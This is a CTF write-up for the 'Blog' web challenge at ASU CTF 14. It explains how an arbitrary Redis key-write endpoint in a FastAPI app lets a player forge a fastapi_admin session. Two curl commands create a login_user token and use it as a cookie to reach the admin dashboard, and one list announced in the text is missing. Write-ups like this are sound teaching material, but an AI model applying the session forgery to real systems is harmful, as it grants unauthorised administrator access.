ASU CTF 14 - Blog challenge

2026-06-08

Blog

TL;DR: An arbitrary Redis key-write lets you forge a fastapi_admin session token, log into the admin dashboard, and read the flag.

"Blog" is an easy whitebox web challenge. You're given the source for a small FastAPI application that lists articles. The flag lives in a flag table, and the app uses the fastapi_admin package to provide an admin dashboard.

Source code

.
├── build.sh
├── Dockerfile
├── entrypoint.sh
├── main.py
├── pyproject.toml
└── uv.lock

The important code fragments are:

# main.py

from fastapi_admin.app import app as admin_app

REDIS_URL = os.getenv("REDIS_URL", "redis://localhost:6379/0")
ADMIN_USER = secrets.token_hex(20)
ADMIN_PASS = secrets.token_hex(20)
FLAG = os.getenv("FLAG", "ASU{example_flag}")

app = FastAPI(lifespan=lifespan)
app.mount("/admin", admin_app)              # register fastapi_admin
templates = Jinja2Templates(directory="templates")

@asynccontextmanager
async def lifespan(app: FastAPI):
    ...
    r = aioredis.from_url(REDIS_URL, decode_responses=True, encoding="utf8")
    await admin_app.configure(
        providers=[LoginProvider(admin_model=Admin)],
        redis=r,
    )
    ...


# === !! VULN !! ===
# set an arbitrary redis key
@app.post("/theme", response_class=RedirectResponse)
async def set_theme(
    request: Request,
    key: str = Form(...),
    value: str = Form(...),
):
    sid = get_sid(request)
    r = aioredis.from_url(REDIS_URL, decode_responses=True)
    await r.set(key, value)   # <----- attacker controls both key and value
    await r.aclose()
    resp = RedirectResponse("/", status_code=303)
    resp.set_cookie("session", sid, httponly=True)
    return resp

Note that the admin account is created, but the credentials are truly random so you can't guess them.

The vulnerability

The /theme endpoint lets you write an arbitrary key and value into Redis. That's the whole bug. But this on its own does nothing, but because fastapi_admin uses Redis to store session tokens you can forge an admin session.

The session mechanism

Browsing the library on GitHub: fastapi_admin/providers/login.py#L117

async def authenticate(
    self,
    request: Request,
    call_next: RequestResponseEndpoint,
):
    redis = request.app.redis  # type:ignore
    token = request.cookies.get(self.access_token)
    path = request.scope["path"]
    admin = None
    if token:
        token_key = constants.LOGIN_USER.format(token=token)
        admin_id = await redis.get(token_key)
        admin = await self.admin_model.get_or_none(pk=admin_id)

You will notice that:

So an admin session is just a Redis key login_user:<anything> with value 1, and a matching access_token cookie.

Exploit

Step #1 Create the session token via /theme:

curl -X POST http://challenge:80/theme \
  -d 'key=login_user:my_fake_token' \
  -d 'value=1'

Step #2 Use it:

curl http://challenge:80/admin -H "Cookie: access_token=my_fake_token"

You're now authenticated as admin 1 and can read the flag from the dashboard.

About the CTF

This was ASU CTF 14, an on-campus CTF. I ran the infrastructure and authored a couple of the web and pwn challenges, including this one.